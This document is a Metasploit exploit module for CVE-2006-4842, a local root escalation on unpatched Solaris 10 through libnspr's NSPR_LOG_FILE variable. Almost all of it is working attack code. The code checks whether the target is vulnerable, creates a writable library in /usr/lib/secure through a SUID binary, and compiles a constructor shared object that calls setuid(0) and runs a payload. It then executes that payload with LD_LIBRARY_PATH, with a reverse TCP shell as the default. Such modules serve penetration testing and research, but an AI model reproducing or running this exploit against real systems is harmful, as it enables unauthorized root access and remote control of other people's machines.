Solaris – libnspr NSPR_LOG_FILE Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Solaris::Priv include Msf::Post::Solaris::System include Msf::Post::Solaris::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris libnspr NSPR_LOG_FILE Privilege Escalation', 'Description' => %q{ This module exploits an arbitrary file write vulnerability in the Netscape Portable Runtime library (libnspr) on unpatched Solaris systems prior to Solaris 10u3 which allows users to gain root privileges. libnspr versions prior to 4.6.3 allow users to specify a log file with the `NSPR_LOG_FILE` environment variable. The log file is created with the privileges of the running process, resulting in privilege escalation when used in combination with a SUID executable. This module writes a shared object to the trusted library directory `/usr/lib/secure` and runs the specified SUID binary with the shared object loaded using the `LD_LIBRARY_PATH` environment variable. This module has been tested successfully with libnspr version 4.5.1 on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86). }, 'References' => [ ['BID', '20471'], ['CVE', '2006-4842'], ['EDB', '2543'], ['EDB', '2569'], ['EDB', '2641'], ['URL', 'https://securitytracker.com/id/1017050'], ['URL', 'https://securitytracker.com/id/1017051'], ['URL', 'https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSPR'], ['URL', 'http://web.archive.org/web/20061118024339/http://labs.idefense.com:80/intelligence/vulnerabilities/display.php?id=418'], ['URL', 'http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1'] ], 'License' => MSF_LICENSE, 'Author' => [ 'iDefense', # Discovery 'Marco Ivaldi', # Exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Oct 11 2006', 'Privileged' => true, 'Platform' => ['solaris'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC], 'Targets' => [['Auto', {}]], 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultOptions' => { 'PAYLOAD' => 'solaris/x86/shell_reverse_tcp', 'WfsDelay' => 10, 'PrependFork' => true }, 'DefaultTarget' => 0)) register_options [ # Some useful example SUID executables: # * /usr/bin/cancel # * /usr/bin/chkey # * /usr/bin/lp # * /usr/bin/lpset # * /usr/bin/lpstat # * /usr/lib/lp/bin/netpr # * /usr/sbin/lpmove OptString.new('SUID_PATH', [true, 'Path to suid executable (must be linked to a vulnerable version of libnspr4.so)', '/usr/bin/cancel']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def suid_bin_path datastore['SUID_PATH'] end def is_writable?(path) cmd_exec("[ -w #{path} ] && echo true").include? 'true' end def mkdir(path) vprint_status "Creating directory '#{path}'" cmd_exec "mkdir -p '#{path}'" register_dir_for_cleanup path end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_compile(path, data) upload "#{path}.c", data output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/ gcc -fPIC -shared -g -lc -o #{path} #{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path end def check unless setuid? suid_bin_path vprint_error "#{suid_bin_path} is not setuid" return CheckCode::Safe end vprint_good "#{suid_bin_path} is setuid" unless has_gcc? vprint_error 'gcc is not installed' return CheckCode::Safe end vprint_good 'gcc is installed' # libnspr versions 4.5.1, 4.6.1 and 4.6.2 are known to be vulnerable # Earlier versions may also be vulnerable libnspr_pkg_info = cmd_exec 'pkginfo -l SUNWpr' libnspr_pkg_version = libnspr_pkg_info.scan(/VERSION:\s+([\d\.]+),/).flatten.first if libnspr_pkg_version.to_s.eql? '' vprint_error 'Could not determine libnspr version' return CheckCode::Unknown end if Gem::Version.new(libnspr_pkg_version) >= Gem::Version.new('4.6.3') vprint_error "libnspr version #{libnspr_pkg_version} is not vulnerable" return CheckCode::Safe end vprint_good "libnspr version #{libnspr_pkg_version} appears to be vulnerable" # Solaris 10 versions prior to the 2006 patches are known to be vulnerable. # Solaris 8 and 9 (SunOS 5.8 and 5.9) are not affected by default, # however third-party software may also introduce a vulnerable version of the library. version = kernel_release if version.to_s.eql? '' vprint_error 'Could not determine Solaris version' return CheckCode::Detected end unless Gem::Version.new(version) <= Gem::Version.new('5.10') vprint_error "Solaris version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Solaris version #{version} appears to be vulnerable" # The vulnerability was patched in various Solaris patches for different platforms. # For more information, see: # - http://web.archive.org/web/20061110164829/http://sunsolve.sun.com/search/document.do?assetkey=1-26-102658-1 installed_patches = cmd_exec 'showrev -p' [ 119214, # Solaris 10 (x86) patch 119214-10 119213, # Solaris 10 (SPARC) patch 119213-10 119212, # Solaris 9 (x86) patch 119212-10 119211, # Solaris 9 (SPARC) patch 119211-10 119209 # Solaris 8 (SPARC) patch 119209-10 ].each do |patch| if installed_patches =~ / #{patch}-(\d+)/ revision = $1.to_i if revision >= 10 vprint_error "Solaris patch #{patch}-#{revision} has been applied" return CheckCode::Safe end end end vprint_good 'Solaris patches are not installed' CheckCode::Appears end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end unless is_writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end # Create writable file in /usr/lib/secure lib_path = '/usr/lib/secure' lib_name = 'libldap.so.5' vprint_status "Creating file #{lib_path}/#{lib_name}" cmd_exec 'umask 0' cmd_exec "NSPR_LOG_MODULES=all:5 NSPR_LOG_FILE=\"#{lib_path}/#{lib_name}\" #{suid_bin_path}" cmd_exec "NSPR_LOG_FILE=#{lib_path}/#{lib_name} #{suid_bin_path}" cmd_exec 'umask 022' unless is_writable? "#{lib_path}/#{lib_name}" fail_with Failure::Unknown, "Could not create file '#{lib_path}/#{lib_name}'" end print_good "Created file #{lib_path}/#{lib_name}" register_file_for_cleanup "#{lib_path}/#{lib_name}" # Upload and compile shared object base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}" mkdir base_path payload_name = ".#{rand_text_alphanumeric 5..10}" payload_path = "#{base_path}/#{payload_name}" so = <<-EOF void __attribute__((constructor)) cons() { setuid(0); setgid(0); execle("#{payload_path}", "", 0, 0); _exit(0); } EOF so_name = ".#{rand_text_alphanumeric 5..10}" so_path = "#{base_path}/#{so_name}" upload_and_compile so_path, so vprint_status "Writing shared object #{lib_path}/#{lib_name}" cmd_exec "cp '#{so_path}' '#{lib_path}/#{lib_name}'" register_file_for_cleanup "#{lib_path}/#{lib_name}" # Upload and execute payload upload payload_path, generate_payload_exe cmd_exec "chmod +x #{payload_path}" print_status 'Executing payload...' cmd_exec "LD_LIBRARY_PATH=\"#{lib_path}\" #{suid_bin_path} & echo " end end |